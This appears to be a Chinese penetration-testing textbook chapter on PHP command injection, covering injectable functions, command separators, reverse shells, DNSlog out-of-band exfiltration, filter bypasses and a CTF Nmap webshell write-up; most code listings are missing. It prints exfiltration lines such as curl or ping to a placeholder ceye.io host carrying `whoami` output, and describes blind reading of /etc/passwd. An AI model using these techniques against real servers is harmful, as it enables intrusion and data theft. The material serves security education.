



命令注入漏洞是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至We b应用程序,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格过滤就带入函数中执行。命令注入漏洞所造成的危害是极高的,因为可以直接执行命令,所以攻击者可以轻松地获取权限。
PHP命令执行漏洞主要由于一些函数的参数过滤不严,可以执行命令的函数有system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、peoc_open(),另外反引号(`)也可以执行命令,不过这种方式本质上也是调用的shell_exec()函数。PHP执行命令继承WebServer用户的权限,这个用户权限一般都是向Web目录写文件,可见该漏洞的危害相当大。上述7个函数的区别相对而言并不大,我们用system()和反引号(``)来举例。
1.system()
只需要将如下代码中c的值设置为我们想要执行的命令并使用POST方法提交,即可达到命令执行的目的,如图1-180所示。
图1-180 system()函数执行ipconfig命令
2.反引号(``)
反引号也是利用POST传值给c参数,与system()函数不同的是,在反引号前加了echo,因为单纯的反引号只是执行命令,并不会反馈执行的结果,如图1-181所示。
图1-181 反引号执行ipconfig命令
1.命令连接符
Linux命令连接符如下所示。
● ;:连接前后命令,前面的命令执行完,再执行后面的命令。
● |:管道符,连接前后命令时只显示后面命令的执行结果。
● ||:两个管道符,连接前后命令时前面的命令执行出错时才执行后面的命令。
Windows命令连接符如下所示。
● &:前面的命令为假则直接执行后面的命令。
● &&:前面的命令为假则直接出错,后面的命令也不执行了。
● |:直接执行后面的命令。
● ||:前面的命令出错后,执行后面的命令。
示例代码如下。
可以看出,代码前面强制加了ping命令,目的是实现一个探测与远程服务器是否联通的功能。而参数ip很显然是想接收一个IP地址作为值传入,如果我们利用命令并行符号,依然可以执行我们想要执行的命令,如图1-182所示。
图1-182 管道符实现命令合并执行
2.动态函数调用
PHP支持可变函数,这意味着如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它,代码如下。可变函数可以用来实现包括回调函数、函数表在内的一些用途。
通过PHP可变函数的特性,我们可以向fun和par两个参数传值,以达到执行命令的效果,如图1-183所示。
图1-183 可变函数命令执行
1.反弹Shell
由于我们在网页上以及“菜刀”“蚁剑”中执行的命令都是非交互的,因此在进一步提权或内网渗透时会非常不方便,这时我们通常会使用反弹Shell的方法。简单来说就是在本地监听一个端口,同时在远程服务器上执行命令让服务器主动连接本地监听的端口,这样就达到了远程控制服务器的效果,并且获得了一个交互式的Shell,代码如下。用法如图1-184、图1-185所示。
图1-184 执行反弹Shell命令
图1-185 接收到弹回的Shell
2.无回显命令执行
有时候执行了命令并不会产生回显,这样我们就看不到执行的结果了。此时我们可以使用DNSlog无回显命令执行,一般需要使用在线平台,如果只是本地做实验(靶机也是内网机器),也可以利用Apache的日志。下面以在线平台举例。
CEYE(http://ceye.io)是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求,可以帮助安全研究人员在测试漏洞时收集信息。注册之后我们可以获得属于自己域名,如图1-186所示。
图1-186 注册后登录得到域名
单击左侧DNS Query就来到了DNSlog界面,如图1-187所示。
图1-187 DNSlog界面
我们可以使用ping和curl等命令对外发起网络请求,将执行结果带出到平台上。
当目标服务器为Linux系统时,可以执行以下任意一条命令将执行结果带出。
● curl http://haha.xxx.ceye.io/`whoami`(执行whoami命令)
● ping`whoami`.xxxx.ceye.io(执行whoami命令)
当目标服务器为Windows系统时,可以用以下命令将执行结果带出。
● ping%USERNAME%.xxx.ceye.io(查看用户名)
以Linux无回显命令执行为例,执行curl `whoami`.xxx.ceye.io命令,执行结果如图1-188、图1-189所示。
图1-188 在远程服务器上执行命令
图1-189 接到打回的命令结果
3.无参RCE
简单看看如下代码逻辑,除了过滤了一些伪协议和关键词,主要过滤了函数里面的参数,即我们在执行命令时虽然可以使用php函数,但是该函数不能有参数。此时我们可以获取session的值当作参数从而绕过,如图1-190所示。
图1-190 获取session的值作为参数
4.空格的绕过
如果在执行命令时空格被过滤了,我们还可以利用以下替代方法。Linux系统下绕过空格的代码如下。
Windows系统下绕过空格的代码如下。
以上语句中的符号都可以绕过程序对空格的限制。
1.2020-网鼎杯朱雀组-Nmap
下面以2020年网鼎杯朱雀组的Nmap题目为背景,介绍escapeshellarg()和escapeshellcmd()函数共存的问题以及Nmap写Shell获取服务器权限的方法。
escapeshellarg()和escapeshellcmd()两个函数的意义不再赘述,就是程序两次转译后出现了问题,没有考虑到单引号的问题。出题者本意是希望我们输入IP这样的参数,利用Nmap进行扫描,如图1-191所示。
图1-191 题目界面
通过上述两个函数进行规则过滤转译,我们的输入会被单引号引起来,但是我们可以逃脱引号的束缚。
输入如下代码。
转义后就会变成如下代码。
返回结果是文件名后面会多一个引号。给代码加引号且引号前没有空格,代码如下。
运行结果如下。
文件名后面会多出\\,正确的构造代码如下。
由于本题过滤了php字符串,因此用短标签和phtml绕过即可。
访问hack.phtml,如图1-192所示。
图1-192 拿到WebShell
2.命令执行与时间盲注
命令无回显并且DNSlog抓不到记录时,我们可以使用命令执行的时间盲注来绕过,主要利用了Linux命令行中的条件语句。
以上命令由于1=1是恒成立的,因此会触发条件停顿5s。
同理,由于1=2恒不成立,便不会触发停顿5s的条件,浏览器会很快给予我们反馈。
我们可以通过改变条件来获取命令执行的结果,如读取/etc/passwd文件的内容,代码如下。
如果/etc/passwd文件的第一个字符为r,就会停顿5s。以此类推,可以爆破出文件的内容。